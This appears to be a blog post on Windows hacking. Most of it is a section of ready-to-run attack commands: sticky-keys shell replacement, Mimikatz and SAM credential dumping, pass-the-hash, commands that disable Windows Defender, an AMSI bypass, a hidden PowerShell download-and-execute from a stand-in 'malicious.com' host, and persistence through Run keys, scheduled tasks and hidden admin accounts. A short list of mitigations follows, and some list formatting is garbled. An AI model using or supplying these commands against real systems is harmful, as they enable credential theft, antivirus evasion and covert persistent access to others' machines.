Windows Hacking:

Windows is the most widely used operating system, making it a prime target for hackers and security researchers. In this blog, we will explore the fundamentals of Windows hacking, its internal architecture, history, major releases, famous exploits, zero-day vulnerabilities, and security bypass techniques.

---

1. Understanding Windows: Basics & Internal System

Windows operates on a layered architecture, which includes:

• Kernel Mode: The core part of Windows that interacts with hardware and manages system resources.
• User Mode: The interface where applications and services run, with limited access to system resources.
• Processes & Threads: Windows uses a multi-threaded architecture for executing applications.
• Registry: A database storing configurations, settings, and system information, often targeted by malware.
• Win32 API: A set of system calls and functions that allow programs to interact with Windows components.
• Security Model: Uses access control lists (ACLs), user permissions, and authentication mechanisms like NTLM and Kerberos.

---

2. Windows Security Bypass Techniques

Privilege Escalation Methods:

1. Token Impersonation:
2. whoami /priv
3. ``
4. ```cmd

runas /user:Administrator cmd.exe

5. DLL Hijacking:
• Placing a malicious DLL in a directory where a legitimate application loads it.
6. Bypassing UAC (User Account Control):

Start-Process cmd -Verb runAs

7. Sticky Keys Exploit: (Persistence & Privilege Escalation)

copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

• Press Shift 5 times at the login screen to spawn a system shell.

Credential Dumping & Authentication Bypass:

1. Extracting Password Hashes with Mimikatz:
2. mimikatz

sekurlsa::logonpasswords

3. Pass-the-Hash Attack:

pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:password //192.168.1.10 cmd.exe

4. Dumping SAM Database:
5. reg save HKLM\SAM sam.save
6. reg save HKLM\SECURITY security.save

reg save HKLM\SYSTEM system.save

• Extract hashes from the saved registry files using samdump2.

Windows Defender & Security Feature Bypass:

1. Disable Windows Defender Temporarily:

sc stop WinDefend

2. Disable Windows Defender Permanently:

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

3. Bypassing AMSI (Antimalware Scan Interface):

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

4. Executing Malicious PowerShell Scripts without Detection:

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')"

Persistence Techniques:

1. Registry Backdoor:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d "C:\malware.exe"

2. Creating a Scheduled Task for Persistence:

schtasks /create /sc minute /mo 1 /tn "Backdoor" /tr "C:\backdoor.exe"

3. Adding a New Admin User:
4. net user hacker P@ssw0rd /add

net localgroup administrators hacker /add

5. Creating a Hidden User:
6. net user hiddenuser password /add
7. net localgroup administrators hiddenuser /add

net user hiddenuser /active:no

---

3. Famous Windows Exploits & Zero-Day Vulnerabilities

Most Exploited Windows Versions:

• Windows XP: Due to lack of modern security features.
• Windows 7: Still widely used despite end-of-life.
• Windows Server Versions: Often targeted for enterprise network attacks.

Famous Windows Exploits:

1. MS08-067 (Conficker Worm) – Windows XP/Vista/7
• Exploited a vulnerability in SMB to spread malware.
2. EternalBlue (MS17-010) – Windows XP/7/Server 2008
• Leaked NSA exploit used in WannaCry and NotPetya ransomware.
3. PrintNightmare (CVE-2021-34527) – Windows 10/11
• Allowed remote code execution via the print spooler service.
4. Follina (CVE-2022-30190) – Windows 10/11
• Used Microsoft Office vulnerabilities to execute remote code.

---

4. Windows Security & Mitigation Measures

To protect against Windows exploits, follow these best practices:

• Keep Windows updated with the latest patches.
• Use Endpoint Detection & Response (EDR) for real-time monitoring.
• Enable Windows Defender Exploit Guard for threat mitigation.
• Restrict PowerShell usage and monitor suspicious scripts.
• Use strong authentication mechanisms like MFA and Kerberos.
• Limit administrative privileges to reduce attack surface.
• Monitor Event Logs for unusual activities:

wevtutil qe Security /c:5 /rd:true /f:text

---

Conclusion

Windows hacking has evolved over the years, with new exploits emerging as Microsoft enhances security. Understanding its architecture, vulnerabilities, and exploits helps both security professionals and ethical hackers in strengthening defenses. Keeping systems updated and adopting best security practices is crucial in preventing cyber threats.

Would you like to explore real-world attack demonstrations or mitigation techniques in detail? Let us know in the comments!